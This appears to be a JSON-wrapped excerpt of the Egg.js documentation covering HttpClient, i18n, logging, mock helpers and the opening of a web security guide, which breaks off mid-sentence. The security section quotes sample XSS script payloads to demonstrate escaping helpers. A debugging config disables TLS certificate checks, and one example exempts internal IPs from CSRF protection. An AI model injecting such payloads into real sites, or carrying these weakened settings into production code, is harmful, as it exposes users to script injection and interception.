Support `json` format.\n\nIf need to send `data` by JSON\n\n```js\nctx.curl(url, {\n  method: 'POST',\n  data: {\n    foo: 'bar',\n    now: Date.now(),\n  },\n  contentType: 'json',\n});\n```\n\n### `dataType: String`\n\nSet the response data format, default return the raw buffer formatted data without processing. Support `text` and `json`\n\n**Note: If `json` is set，a `JSONResponseFormatError` error would be thrown if fails to parse the response data.**\n\n```js\nconst jsonResult = await ctx.curl(url, {\n  dataType: 'json',\n});\nconsole.log(jsonResult.data);\n\nconst htmlResult = await ctx.curl(url, {\n  dataType: 'text',\n});\nconsole.log(htmlResult.data);\n```\n\n### `fixJSONCtlChars: Boolean`\n\nWhether filter the special control characters in the response data (U+0000 ~ U+001F)，default `false`\nTypically, the JSON data returned by some CGI system might contains such special control characters, which can be filter automatically by setting the parameters.\n\n```js\nctx.curl(url, {\n  fixJSONCtlChars: true,\n  dataType: 'json',\n});\n```\n\n### `headers: Object`\n\nCustom request headers\n\n```js\nctx.curl(url, {\n  headers: {\n    'x-foo': 'bar',\n  },\n});\n```\n\n### `timeout: Number|Array`\n\nTimeout of request, default `[ 5000, 5000 ]`, timeout of connection creation is 5s, and the timeout of receive response is 5s.\n\n```js\nctx.curl(url, {\n  // 3s timeout of connection creation, and the 3s timeout of receive response\n  timeout: 3000,\n});\n\nctx.curl(url, {\n  // 1s timeout of connection creation, and the 30s timeout of receive response for the responsing of larger scenarios\n  timeout: [1000, 30000],\n});\n```\n\n### `agent: HttpAgent`\n\nAllows to override the default HttpAgent through this parameter. If you don't want to enable KeepAlive, set this parameter to `false`.\n\n```js\nctx.curl(url, {\n  agent: false,\n});\n```\n\n### `httpsAgent: HttpsAgent`\n\nAllows to override the default HttpsAgent through this parameter. If you don't want to enable KeepAlive, set this parameter to `false`.\n\n```js\nctx.curl(url, {\n  httpsAgent: false,\n});\n```\n\n### `auth: String`\n\nParameter of Simple login authorization (Basic Authentication), will send the login information to the `Authorization` request in clear form.\n\n```js\nctx.curl(url, {\n  // parameter must follow the format of `user:password`\n  auth: 'foo:bar',\n});\n```\n\n### `digestAuth: String`\n\nParameter of the Digest Authentication. If the parameter is set, it will attempt to generate the `Authorization` request header for the 401 response automatically then try requesting for authorization once.\n\n```js\nctx.curl(url, {\n  // parameter must follow the format of `user:password`\n  digestAuth: 'foo:bar',\n});\n```\n\n### `followRedirect: Boolean`\n\nWhether to follow 3xx redirect response, default `false`\n\n```js\nctx.curl(url, {\n  followRedirect: true,\n});\n```\n\n### `maxRedirects: Number`\n\nSet the maximum number of automatic redirects to prevent the endless redirect loop, default 10 times.\nThe parameter should not be set too large and only works in the `followRedirect=true`\n\n```js\nctx.curl(url, {\n  followRedirect: true,\n  // maximum allowed redirect 5 times\n  maxRedirects: 5,\n});\n```\n\n### `formatRedirectUrl: Function(from, to)`\n\n`formatRedirectUrl` allow us to customize the implementation of 302、301 other redirect URL splicing, default `url.resolve (from, to) `.\n\n```js\nctx.curl(url, {\n  formatRedirectUrl: (from, to) => {\n    // for example you can correct the redirection of wrong url here\n    if (to === '//foo/') {\n      to = '/foo';\n    }\n    return url.resolve(from, to);\n  },\n});\n```\n\n### `beforeRequest: Function(options)`\n\nHttpClient will attempt to invoke the `beforeRequest` hook before requesting officially, allowing us to make the last modification of the request parameter here.\n\n```js\nctx.curl(url, {\n  beforeRequest: (options) => {\n    // For example, we can set the global request ID to facilitate log tracking\n    options.headers['x-request-id'] = uuid.v1();\n  },\n});\n```\n\n### `streaming: Boolean`\n\nWhether to return the response stream directly, default `false`\nAfter enable streaming, HttpClient will return immediately after getting the response object res,\nAt this moment `result.headers` and `result.status` can be read, but still cannot read the data\n\n```js\nconst result = await ctx.curl(url, {\n  streaming: true,\n});\n\nconsole.log(result.status, result.data);\n// result.res is a ReadStream Object\nctx.body = result.res;\n```\n\n**if res is not passed to body directly, then we must consume this stream and do well in error handling.**\n\n### `gzip: Boolean`\n\nWhether to support gzip response format, default `false`\nAfter enable gzip, HttpClient will set `Accept-Encoding: gzip` header and extract the data with `Content-Encoding: gzip` response header automatically.\n\n```js\nctx.curl(url, {\n  gzip: true,\n});\n```\n\n### `timing: Boolean`\n\nWhether to enable the time measurement for each phase, default `false`\nAfter enable the timing, you can get the time measurements of HTTP request (in milliseconds) from the `result.res.timing`.\nThrough these measurements, we can easily locate the slowest environment in the request, similar to the Chrome network timing.\n\nMeasurement timing's analysis of each stage:\n\n- queuing: allocating socket time consuming\n- dnslookup: DNS queries time consuming\n- connected: socket three handshake success time consuming\n- requestSent: requesting full data time consuming\n- waiting: first byte to received response time consuming\n- contentDownload: full response data time consuming\n\n```js\nconst result = await ctx.curl(url, {\n  timing: true,\n});\nconsole.log(result.res.timing);\n// {\n//   \"queuing\":29,\n//   \"dnslookup\":37,\n//   \"connected\":370,\n//   \"requestSent\":1001,\n//   \"waiting\":1833,\n//   \"contentDownload\":3416\n// }\n```\n\n### `ca，rejectUnauthorized，pfx，key，cert，passphrase，ciphers，secureProtocol`\n\nThese are parameters are passed to the [HTTPS] modules，details refer to [`https.request(options, callback)`](https://nodejs.org/api/https.html#https_https_request_options_callback)。\n\n## Debugging Aid\n\nIf you want to debug the httpclient requests, just need to add below code to `config.local.js`:\n\n```js\n// config.local.js\nmodule.exports = () => {\n  const config = {};\n\n  // add http_proxy to httpclient\n  if (process.env.http_proxy) {\n    config.httpclient = {\n      request: {\n        enableProxy: true,\n        rejectUnauthorized: false,\n        proxy: process.env.http_proxy,\n      },\n    };\n  }\n\n  return config;\n};\n```\n\nthen open capture tools(such as [charles] or [fiddler]).\n\nafter that, just start your application by:\n\n```bash\n$ http_proxy=http://127.0.0.1:8888 npm run dev\n```\n\nThen it works correctly, and all requests that go through HttpClient can be viewed in the capture tools.\n\n## Known Issues\n\n### Connection Timeout\n\n- Exception: `ConnectionTimeoutError`\n- Scene: usually occurred by the DNS query is slow, or the network is slow between the client and server\n- Troubleshooting Suggestion: increase the `timeout` parameter appropriately.\n\n### Service Response Timeout\n\n- Exception: `ResponseTimeoutError`\n- Scene: usually occurred by network is slower between the client and server, and happens when the data is relatively large.\n- Troubleshooting Suggestion: increase the `timeout` parameter appropriately.\n\n### Service Disconnect\n\n- Exception: `ResponseError, code: ECONNRESET`\n- Scene: usually the server actively disconnects the socket connection, causing the HTTP request link exceptions.\n- Troubleshooting Suggestion: please check if server has network exception at that time\n\n### Service is Unreachable\n\n- Exception: `RequestError, code: ECONNREFUSED, status: -1`\n- Scene: usually because the requested URL which attached IP or the port cannot connect successfully.\n- Troubleshooting Suggestion: make sure the IP or port is set correctly\n\n### Domain Name is Not Existing\n\n- Exception: `RequestError, code: ENOTFOUND, status: -1`\n- Scene: usually the domain name requested by URL cannot be resolved by DNS successfully.\n- Troubleshooting Suggestion: make sure the domain name exists, and also check to see if the DNS service is properly configured.\n\n### JSON Response Data Format Error\n\n- Exception: `JSONResponseFormatError`\n- scene: the `dataType=json` is set and this exception is thrown in response data that does not match JSON format.\n- Troubleshooting Suggestion: make sure that the server no matter what situations are returns the data in JSON format correctly.\n\n## Global `request` and `response` Events\n\nIn enterprise application scenarios, generally a unified tracer log is needed.\nTo facilitate monitoring HttpClient requests and responses on the app level, we agreed on global `request` and `response` to expose these two events.\n\n```bash\n    init options\n        |\n        V\n    emit `request` event\n        |\n        V\n    send request and receive response\n        |\n        V\n    emit `response` event\n        |\n        V\n       end\n```\n\n### `request` Event Occurs before the Network Operation\n\nA `request` event is triggered before the request is sent, allowing blocking of the request.\n\n```js\napp.httpclient.on('request', (req) => {\n  req.url; //request url\n  req.ctx; //context of the request\n\n  // you can set some trace headers here for full link tracking propose\n});\n```\n\n### `response` Event Occurs after the End of Network Operation\n\nAfter the end of request, a `response` event is triggered, so that the external event can be subscribed to the log printing.\n\n```js\napp.httpclient.on('response', (result) => {\n  result.res.status;\n  result.ctx; //context of the request\n  result.req; //the corresponding req object, which the req in the request event\n});\n```\n\n## Example\n\nFull examples can be found on [eggjs/examples/httpclient](https://github.com/eggjs/examples/blob/master/httpclient) .\n\nOther Reference Links\n\n- [urllib](https://github.com/node-modules/urllib)\n- [httpclient](https://github.com/eggjs/egg/blob/master/lib/core/httpclient.js)\n- [formstream](https://github.com/node-modules/formstream)\n- [http](https://nodejs.org/api/http.html)\n- [https](https://nodejs.org/api/https.html)\n- [charles](https://www.charlesproxy.com/)\n- [fiddler](http://www.telerik.com/fiddler)\n"
  },
  {
    "path": "site/docs/core/i18n.md",
    "content": "---\ntitle: I18n Internationalization\norder: 11\n---\n\nFor developing the multi-language application, build-in I18n support by [@eggjs/i18n](https://github.com/eggjs/egg/tree/next/plugins/i18n) plugin\n\n## Default Language\n\nDefault `en-US`. Assume that we want to switch the default language to Simplified Chinese：\n\n```js\n// config/config.default.js\nexports.i18n = {\n  defaultLocale: 'zh-CN',\n};\n```\n\n## Switch Language\n\nHere we have some ways to switch the application's current language (Modified records will set to the cookie `locale`), the next request will use the language setting directly.\n\nPriority from high to low:\n\n1. query: `/?locale=en-US`\n2. cookie: `locale=zh-TW`\n3. header: `Accept-Language: zh-CN,zh;q=0.5`\n\nIf want to modify parameter name of query or cookie\n\n```js\n// config/config.default.js\nexports.i18n = {\n  queryField: 'locale',\n  cookieField: 'locale',\n  // Cookie default expired after one year, the unit is ms if set as Number\n  cookieMaxAge: '1y',\n};\n```\n\n## Writing I18n Multi-language Documents\n\nConfiguration of multi-language are independent, stored in `config/locale/*.js`\n\n```\n- config/locale/\n  - en-US.js\n  - zh-CN.js\n  - zh-TW.js\n```\n\nNot only take effects in the application directory, but also in the directory of framework or plugin `config/locale`\n\n**Note: It's locale, not locals.**\n\nExample:\n\n```js\n// config/locale/zh-CN.js\nmodule.exports = {\n  Email: '邮箱',\n};\n```\n\nOr using JSON file:\n\n```json\n// config/locale/zh-CN.json\n{\n  \"Email\": \"邮箱\"\n}\n```\n\n## Getting Multi-language Texts\n\nUse `__` (Alias: `gettext`) function to get the multi-language texts under locale directory\n\n**Note: `**` is two underscores\\_\\_\n\nTake above multi-language configuration as example:\n\n```js\nctx.__('Email');\n// zh-CN => 邮箱\n// en-US => Email\n```\n\nIf texts contain format function like `%s`，`%j`, we can call by the way similar to [`util.format()`](https://nodejs.org/api/util.html#util_util_format_format_args)\n\n```js\n// config/locale/zh-CN.js\nmodule.exports = {\n  'Welcome back, %s!': '欢迎回来，%s!',\n};\n\nctx.__('Welcome back, %s!', 'Shawn');\n// zh-CN => 欢迎回来，Shawn!\n// en-US => Welcome back, Shawn!\n```\n\nSupport array, subscript and placeholder, such as\n\n```js\n// config/locale/zh-CN.js\nmodule.exports = {\n  'Hello {0}! My name is {1}.': '你好 {0}! 我的名字叫 {1}。',\n};\n\nctx.__('Hello {0}! My name is {1}.', ['foo', 'bar']);\n// zh-CN => 你好 foo！我的名字叫 bar。\n// en-US => Hello foo! My name is bar.\n```\n\n### Use in Controller\n\n```js\nclass HomeController extends Controller {\n  async index() {\n    const ctx = this.ctx;\n    ctx.body = {\n      message: ctx.__('Welcome back, %s!', ctx.user.name)\n      // or use gettext, it is a alias of __ function\n      // message: ctx.gettext('Welcome back', ctx.user.name)\n      user: ctx.user,\n    };\n  }\n}\n```\n\n### Use in View\n\nAssume we are using template engine [Nunjucks](https://github.com/eggjs/egg-view-nunjucks)\n\n```html\n<li>{{ __('Email') }}: {{ user.email }}</li>\n<li>{{ __('Welcome back, %s!', user.name) }}</li>\n<li>{{ __('Hello {0}! My name is {1}.', ['foo', 'bar']) }}</li>\n```\n"
  },
  {
    "path": "site/docs/core/index.md",
    "content": "---\ntitle: Core\norder: 0\nnav:\n  title: Core\n  order: 3\n---\n\n- [Local Development](./development.md)\n- [Unit Testing](./unittest.md)\n- [Mock Helpers (@eggjs/mock / mm)](./mock.md)\n- [Deployment](./deployment.md)\n- [Logger](./logger.md)\n- [HttpClient](./httpclient.md)\n- [Cookie and Session](./cookie-and-session.md)\n- [Multi-Process Model and Inter-Process Communication](./cluster-and-ipc.md)\n- [View Template Rendering](./view.md)\n- [Exception Handling](./error-handling.md)\n- [Security](./security.md)\n- [I18n Internationalization](./i18n.md)\n"
  },
  {
    "path": "site/docs/core/logger.md",
    "content": "---\ntitle: Logger\norder: 4\n---\n\nThere is no doubt that logs are important part for monitoring application and debugging in Web development.\n\nBuilt-in enterprise scaled logger, [egg-logger](https://github.com/eggjs/egg-logger), makes developer implement logging more easily than ever before.\n\nCore features:\n\n- Levels\n- Universal logging, `.error()` will save `ERROR` level logs into a file for later debugging\n- Logs from dispatch and runtime are separated\n- Create your logger\n- Multi-process logs\n- Automatic sharding\n- High Performance\n\n## Location\n\n- Log files are located in `${appInfo.root}/logs/${appInfo.name}` by default. For instance, `/home/admin/logs/example-app`.\n- To avoid conflicts between environments and provide a more convenience way to manage logs, log files will be written into `logs` directory. For instance, `/path/to/example-app/logs/example-app`.\n\nChange `dir` in logger:\n\n```js\n// config/config.${env}.js\nexports.logger = {\n  dir: '/path/to/your/custom/log/dir',\n};\n```\n\n## Type of Logs\n\nEgg offers a few loggers for different scenarios:\n\n- appLogger `${appInfo.name}-web.log`，for example `example-app-web.log` stores logs from application, it will be used in general.\n- coreLogger `egg-web.log`, logs from Egg's core and plugin.\n- errorLogger `common-error.log` should not be invoked directly. However, `.error()` in every logger will redirect logs to it for debugging.\n- agentLogger `egg-agent.log`, logs from agent process.\n\nIf you want to change names of above loggers, you can override them in config:\n\n```js\n// config/config.${env}.js\nmodule.exports = (appInfo) => {\n  return {\n    logger: {\n      appLogName: `${appInfo.name}-web.log`,\n      coreLogName: 'egg-web.log',\n      agentLogName: 'egg-agent.log',\n      errorLogName: 'common-error.log',\n    },\n  };\n};\n```\n\n## Printing\n\n### Context Logger\n\nIt's proper to log details in requests with context logger. The logger will append basics about requests to each log. For example, `[$userId/$ip/$traceId/${cost}ms $method $url]`.\n\n```js\nctx.logger.debug('debug info');\nctx.logger.info('some request data: %j', ctx.request.body);\nctx.logger.warn('WARNING!!!!');\n\n// .error will save information in call stack into errorLog file.\n// Exceptions must be guaranteed to be Error or object extended from Error, which offers a trace of what functions were called.\nctx.logger.error(new Error('whoops'));\n```\n\nFor developers who create frameworks or plugins, `ctx.coreLogger` is another option in Context Logger.\n\n```js\nctx.coreLogger.info('info');\n```\n\n### App Logger\n\nFor developers who want to know more details about dispatch in Egg, they can easily use `App Logger` to make that happen:\n\n```js\n// app.js\nmodule.exports = (app) => {\n  app.logger.debug('debug info');\n  app.logger.info('Latency: %d ms', Date.now() - start);\n  app.logger.warn('warning!');\n\n  app.logger.error(someErrorObj);\n};\n```\n\n`app.coreLogger` in app is similar to `ctx.coreLogger` in context:\n\n```js\n// app.js\nmodule.exports = (app) => {\n  app.coreLogger.info('Latency: %d ms', Date.now() - start);\n};\n```\n\n### Agent Logger\n\nAgent also supports `agent.coreLogger` as the same feature to context and app above.\n\n```js\n// agent.js\nmodule.exports = (agent) => {\n  agent.logger.debug('debug info');\n  agent.logger.info('Latency: %d ms', Date.now() - start);\n  agent.logger.warn('warning!');\n\n  agent.logger.error(someErrorObj);\n};\n```\n\nFor more about Agent, you can take a look at [Multi-process](./cluster-and-ipc.md).\n\n## Encoding\n\nThe default encoding setting(`utf-8`) can be changed via `encoding` in config:\n\n```js\n// config/config.${env}.js\nexports.logger = {\n  encoding: 'gbk',\n};\n```\n\n## Format\n\nUse JSON as the output log format, make it easier to parse.\n\n```js\n// config/config.${env}.js\nexports.logger = {\n  outputJSON: true,\n};\n```\n\n## Log Level\n\nLogs are designed in 5 levels, including `NONE`, `DEBUG`, `INFO`, `WARN` and `ERROR`. For inspecting in development, they will also be written into files and printed into terminal as well.\n\n### Levels\n\nIn production environment, Egg will only write logs with level `INFO` and higher, this means `NONE` and `DEBUG` information will be ignored in log files.\n\nIf you want to change logger's default output level, modify in the config as follow:\n\n```js\n// config/config.${env}.js\nexports.logger = {\n  level: 'DEBUG', // logs in all level will be written into files\n};\n```\n\nStop writing logs in all levels:\n\n```js\n// config/config.${env}.js\nexports.logger = {\n  level: 'NONE',\n};\n```\n\n#### Debug Log in Production Environment\n\nTo avoid some plugin's DEBUG logs printing in the production environment causing performance problems, the production environment prohibits printing DEBUG-level logs by default. If there is a need to print DEBUG logs for debugging in the production environment, you need to set `allowDebugAtProd` configuration to `true`.\n\n```js\n// config/config.prod.js\nexports.logger = {\n  level: 'DEBUG',\n  allowDebugAtProd: true,\n};\n```\n\n### In Terminal\n\nBy default, Egg will only print out `INFO`, `WARN` and `ERROR` in terminal. (Notice: It only works on `local` and `unittest` env)\n\n- `logger.consoleLevel`: The logger level in terminal. It defaults to `INFO`, though it defaults to `WARN` on both `local` and `unittest` environments.\n\nSimilarly, it can be changed in the following ways:\n\nPrint logs in all levels:\n\n```js\n// config/config.${env}.js\nexports.logger = {\n  consoleLevel: 'DEBUG',\n};\n```\n\nStop printing logs in all levels:\n\n```js\n// config/config.${env}.js\nexports.logger = {\n  consoleLevel: 'NONE',\n};\n```\n\n- Base on performance considerations, console logger will be disabled after app ready at prod mode. however, you can enable it by config. (**Not Recommended**)\n\n```js\n// config/config.${env}.js\nexports.logger = {\n  disableConsoleAfterReady: false,\n};\n```\n\n## Create Your Logger\n\n### Customized\n\nFor common scenarios, **it's unnecessary to create new logger**, because too many loggers will make them hard to be managed for later debugging.\n\nThe logger you create can be declared in config:\n\n```js\n// config/config.${env}.js\nconst path = require('path');\n\nmodule.exports = (appInfo) => {\n  return {\n    customLogger: {\n      xxLogger: {\n        file: path.join(appInfo.root, 'logs/xx.log'),\n      },\n    },\n  };\n};\n```\n\nNow, you can get loggers via `app.getLogger('xxLogger')` or `ctx.getLogger('xxLogger')`, and the logs printed from those loggers are similar to the ones from `coreLogger`.\n\n### Custom logger formatter\n\n```js\n// config/config.${env}.js\nconst path = require('path');\n\nmodule.exports = (appInfo) => {\n  return {\n    customLogger: {\n      xxLogger: {\n        file: path.join(appInfo.root, 'logs/xx.log'),\n        formatter(meta) {\n          return `[${meta.date}] ${meta.message}`;\n        },\n        // ctx logger\n        contextFormatter(meta) {\n          return `[${meta.date}] [${meta.ctx.method} ${meta.ctx.url}] ${meta.message}`;\n        },\n      },\n    },\n  };\n};\n```\n\n### Advanced\n\nLogs will be written into files by default. Further, they will also be printed into terminal in development. But what if we need to print those into another place? Creating customized transport can take you there.\n\nTransport can be considered as a tunnel to transfer data in Egg. A logger contains multiple transports, for example the one by default contains `fileTransport` and `consoleTransport`.\n\nFor concrete scenario, we take `common-error.log` as an example, which not only printed into files, but also sent to another remote service. At first, we can create a new transport for sending logs to remote:\n\n```js\nconst co = require('co');\nconst util = require('util');\nconst Transport = require('egg-logger').Transport;\n\nclass RemoteErrorTransport extends Transport {\n  // Create log() to upload logs\n  log(level, args) {\n    let log;\n    if (args[0] instanceof Error) {\n      const err = args[0];\n      log = util.format(\n        '%s: %s\\n%s\\npid: %s\\n',\n        err.name,\n        err.message,\n        err.stack,\n        process.pid,\n      );\n    } else {\n      log = util.format(...args);\n    }\n\n    this.options.app\n      .curl('http://url/to/remote/error/log/service/logs', {\n        data: log,\n        method: 'POST',\n      })\n      .catch(console.error);\n  }\n}\n\n// Transport attached to errorLogger in app.js, makes logs sync to it once those are created.\napp\n  .getLogger('errorLogger')\n  .set('remote', new RemoteErrorTransport({ level: 'ERROR', app }));\n```\n\nPerformance is what we always consider as important part in our services so that logs will firstly be written into memory and transferred to remote later.\n\n## Log Sharding\n\nOne common requirement you can find in enterprise logs is automatic log sharding, which offers a convenient way for management. Luckily, Egg takes [@eggjs/logrotator](https://github.com/eggjs/logrotator) as built-in solution to meet the need.\n\n### Daily Sharding\n\nThis is the default way in Egg to cut the logs into files named by `.log.YYYY-MM-DD` at every `00:00`. For example, `example-app-web.log` will be cut into files as follow, `example-app-web.log.YYYY-MM-DD`.\n\n### Size Sharding\n\nThe log file also can be cut into ones by size. For example, Egg will process `egg-web.log` when its size reach 2G:\n\n```js\n// config/config.${env}.js\nconst path = require('path');\n\nmodule.exports = (appInfo) => {\n  return {\n    logrotator: {\n      filesRotateBySize: [\n        path.join(appInfo.root, 'logs', appInfo.name, 'egg-web.log'),\n      ],\n      maxFileSize: 2 * 1024 * 1024 * 1024,\n    },\n  };\n};\n```\n\nLogs written into `filesRotateBySize` file will never be processed again by date.\n\n### Hourly Sharding\n\nThere is another option that the log files can be divided into small ones by hour.\n\nFor example, we need to cut `common-error.log` by hour just like following implementation.\n\n```js\n// config/config.${env}.js\nconst path = require('path');\n\nmodule.exports = (appInfo) => {\n  return {\n    logrotator: {\n      filesRotateByHour: [\n        path.join(appInfo.root, 'logs', appInfo.name, 'common-error.log'),\n      ],\n    },\n  };\n};\n```\n\nLogs written into `filesRotateByHour` file will never be processed again by date.\n\n## Performance\n\nGenerally, requests are frequent events to Web services, so writing logs into disk after each event will cause more unexpected I/O. Egg takes following strategy to write logs:\n\n> Logs will be firstly transferred into memory, and then Egg will asynchronously write them into files by second.\n\nMore about [egg-logger](https://github.com/eggjs/egg-logger) and [@eggjs/logrotator](https://github.com/eggjs/egg/tree/next/plugins/logrotator)。\n"
  },
  {
    "path": "site/docs/core/mock.md",
    "content": "---\ntitle: Mock Helpers ( @eggjs/mock / mm )\n---\n\nEgg provides a dedicated mocking helper package for application unit tests: **`@eggjs/mock`** (historically known as **egg-mock**).\n\n- Repository (Egg 3.x / egg-mock@5.x, peerDependencies.egg: ^3.12.0): https://github.com/eggjs/mock/tree/5.x\n- API reference: see README in the repo.\n\n`@eggjs/mock` is built on top of **`mm`** (Mock Mate), which provides low-level monkey-patching utilities.\n\n- Repository: https://github.com/node-modules/mm\n\n## Install\n\n```bash\nnpm i @eggjs/mock --save-dev\n```\n\n> In many docs / legacy code you may still see `egg-mock`. For Egg 3.x, the recommended package name is `@eggjs/mock`.\n\n## Quick Start\n\n### Create an app instance\n\n```js\nconst mock = require('@eggjs/mock');\n\ndescribe('test/controller/home.test.js', () => {\n  let app;\n\n  before(async () => {\n    app = mock.app({ baseDir: 'path/to/your/app' });\n    await app.ready();\n  });\n\n  after(() => app.close());\n});\n```\n\n### Use bootstrap to avoid repeated setup\n\n```js\nconst { app, mock, assert } = require('egg-mock/bootstrap');\n\ndescribe('test/controller/home.test.js', () => {\n  // test cases\n});\n```\n\n> The bootstrap helper wires common setup/teardown and is convenient for most projects.\n\n### Create a Context\n\n```js\nit('should get a ctx', () => {\n  const ctx = app.mockContext();\n  assert(ctx.method === 'GET');\n});\n\nit('should mock ctx.user', () => {\n  const ctx = app.mockContext({\n    user: { name: 'fengmk2' },\n  });\n  assert(ctx.user.name === 'fengmk2');\n});\n```\n\n## Restore after each test\n\nWhen using `mm` / `@eggjs/mock`, remember to restore mocked state:\n\n```js\nconst mm = require('mm');\n\nafterEach(() => mm.restore());\n```\n\nIf you use `egg-mock/bootstrap`, it already restores mocks for you in `afterEach`.\n\n## mm (Mock Mate) API\n\n`mm` is a general purpose monkey-patching library. `@eggjs/mock` is built on top of it, and many Egg tests use `mm` directly.\n\n### Prefer using `@eggjs/mock` exports\n\nFor consistency inside the Egg ecosystem, prefer the `mm` that is exported by `@eggjs/mock` (egg-mock). It is compatible with `mm` and adds Egg-specific helpers.\n\n```js\n// CJS\nconst { app, mm } = require('egg-mock/bootstrap');\n// mm.restore() in afterEach is already wired by bootstrap\n\n// or\nconst mock = require('@eggjs/mock');\nmock(target, 'prop', value);\nmock.restore();\n```\n\nYou can still use the standalone `mm` package directly if needed:\n\n```js\nimport mm, { restore } from 'mm';\n```\n\n### Core\n\n- `mm(target, property, value)` / `mm.mock(...)`: monkey-patch a property.\n- `mm.restore()` / `restore()`: restore all patched properties.\n- `mm.isMocked(target, property)`: check if a property is mocked.\n- `mm.spy(target, method)`: spy a function (records call counts/args).\n\n> When a mocked property is a function, mm will attach spy fields like `called`, `calledArguments`, `lastCalledArguments`.\n\n### Callback-style helpers\n\n- `mm.data(target, method, data[, timeout])`: callback returns `(null, data)`.\n- `mm.datas(target, method, datas[, timeout])`: callback returns `(null, ...datas)`.\n- `mm.empty(target, method[, timeout])`: callback returns `(null, null)`.\n- `mm.error(target, method, error[, props|timeout][, timeout])`: callback returns an error.\n- `mm.errorOnce(...)`: like `error` but only once.\n\n### Sync helpers\n\n- `mm.syncData(target, method, value)`: return value.\n- `mm.syncEmpty(target, method)`: return `undefined`.\n- `mm.syncError(target, method, error[, props])`: throw error.\n\n### HTTP helpers\n\n- `mm.http.request(url, data[, headers][, delay])`: mock `http.request` / `http.get`.\n- `mm.http.requestError(url[, reqError][, resError][, delay])`: mock request/response errors.\n- `mm.https.request(...)` / `mm.https.requestError(...)`: same for https.\n\n### Other\n\n- `mm.spawn(code, stdout, stderr[, timeout])`: mock `child_process.spawn`.\n- `mm.classMethod(instance, method, mockFn)`: mock a class method via prototype.\n\nFor complete and up-to-date details, see the mm repository:\nhttps://github.com/node-modules/mm\n"
  },
  {
    "path": "site/docs/core/security.md",
    "content": "---\ntitle: Security\norder: 10\n---\n\n## Concept of Web Security\n\nThere are a lot of security risks in Web applications, the risk will be used by hackers, while distort Web page content, or steal website internal data, further more, malicious code maybe embedded in the Web page, make users be weak. Common security vulnerabilities are as follows:\n\n- XSS attack: inject scripts into Web pages, use JavaScript to steal user information, then induce user actions.\n- CSRF attack: forgery user requests to launch malicious requests to the site.\n- phishing attacks: use the site's links or images to create phishing traps.\n- http parameter pollution: by using imperfect validation of parameter format, the server will be injected with parameters.\n- remote code execution: users could implement command through browser, due to the server did not perform function against doing filtering, lead to malicious code execution.\n\nThe framework itself has a rich solution for common security risks on the Web side:\n\n- use [extend](https://github.com/eggjs/egg/blob/master/docs/source/zh-cn/basics/extend.md) mechanism to extend Helper API, various template filtering functions are provided to prevent phishing or XSS attacks.\n- Support of common Web security headers.\n- CSRF defense.\n- flexible security configuration that matches different request urls.\n- customizable white list for safe redirect and url filtering.\n- all kinds of template related tools for preprocessing.\n\nSecurity plugins [@eggjs/security](https://github.com/eggjs/security) are built into the framework, provides default security practices.\n\n### Open or Close the Configuration\n\nNote: it is not recommended to turn off the functions provided by the security plugins unless the consequences are clearly confirmed.\n\nThe security plugin for the framework opens by default, if we want to close some security protection, directly set the `enable` attribute to false. For example, close xframe precautions:\n\n```js\nexports.security = {\n  xframe: {\n    enable: false,\n  },\n};\n```\n\n### `match` and `ignore`\n\nMatch and ignore methods and formats are the same with[middleware general configuration](../basics/middleware.md#match%20and%20ignore).\n\nIf you want to set security config open for a certain path, you can configure `match` option.\n\nFor example, just open csp when path contains `/example`, you can configure with the following configuration:\n\n```js\nexports.security = {\n  csp: {\n    match: '/example',\n    policy: {\n      //...\n    },\n  },\n};\n```\n\nIf you want to set security config disable for a certain path, you can configure match option.\n\nFor example, just disable xframe when path contains `/example` while our pages can be embedded in cooperative businesses , you can configure with the following configuration:\n\n```js\nexports.security = {\n  csp: {\n    ignore: '/example',\n    xframe: {\n      //...\n    },\n  },\n};\n```\n\nIf you want to close some security protection against internal IP:\n\n```js\nexports.security = {\n  csrf: {\n    // To determine whether to ignore the method, request context \"context\" as the first parameter\n    ignore: (ctx) => isInnerIp(ctx.ip),\n  },\n};\n```\n\nWe'll look at specific scenarios to illustrate how to use the security scenarios provided by the framework for Web security precautions.\n\n## Prevention of Security Threat `XSS`\n\n[XSS](<https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)>)（cross-site scripting）is the most common Web attack, which focus on \"cross-domain\" and \"client-side execution.\"\n\nXSS attacks generally fall into two categories:\n\n- Reflected XSS\n- Stored XSS\n\n### Reflected XSS\n\nReflective XSS attacks, mainly because the server receives insecure input from the client, triggers the execution of a Web attack on the client side. Such as:\n\nSearch for items on a shopping site, and results will display search keywords. Now you fill in the search keywords `<script>alert('handsome boy')</script>`, then click search. If page does not filter the keywords, this code will be executed directly on the page, pop-up alert.\n\n#### Prevention\n\nFramework provides `helper.escape()` method to do string XSS filter.\n\n```js\nconst str = '><script>alert(\"abc\") </script><';\nconsole.log(ctx.helper.escape(str));\n// => &gt;&lt;script&gt;alert(&quot;abc&quot;) &lt;/script&gt;&lt;\n```\n\nWhen the site need to output the result of user input directly, be sure to use `helper.escape()` wrapped. Such as in [egg-view-nunjucks] will overwrite the built-in `escape`\n\nIn another case, the output of server's interface will be provided to JavaScript to use. This time you need to use `helper.sjs()` for filtering.\n\n`helper.sjs()` is used to output variables in JavaScript (including events such as onload), and do JavaScript ENCODE for characters in variables.\nAll characters will be escaped to `\\x` if there are not in whitelist, to prevent XSS attacks, also ensure the correctness of the output in JavaScript.\n\n```js\nconst foo = '\"hello\"';\n\n// not use sjs\nconsole.log(`var foo = \"${foo}\";`);\n// => var foo = \"\"hello\"\";\n\n// use sjs\nconsole.log(`var foo = \"${this.helper.sjs(foo)}\";`);\n// => var foo = \"\\\\x22hello\\\\x22\";\n```\n\nThere is also a case that sometimes we need to output json in JavaScript, which is easily exploited as a XSS vulnerability if it is not escaped. Framework provides `helper.sjson()` macro to do json encode, it will traverse the key in a json, all the character in the key's value will be escaped to `\\x` if there are not in whitelist, to prevent XSS attacks, while keep the json structure unchanged.\nIf you need to output a JSON string for use in JavaScript, please use `helper.sjson(variable name)` to escape.\n\n**The processing process is more complicated, the performance loss is larger, please use only if necessary**\n\nExample:\n\n```html\n<script>\n  window.locals = {{ helper.sjson(locals) }};\n</script>\n```\n\n### Stored XSS\n\nStored XSS attacks are stored on the server by submitting content with malicious scripts that will be launched when others see the content. The content is typically edited through some rich text editors, and it is easy to insert dangerous code.\n\n#### Prevention\n\nFramework provides `helper.shtml()` to do XSS filtering.\n\nNote that you need to use SHTML to handle the rich text (which contains the text of the HTML code) as a variable directly in the template.\nUse SHTML to output HTML tags, while executing XSS filtering, then it can filter out illegal scripts.\n\n**The processing process is more complicated, the performance loss is larger, please use only if you need to output html 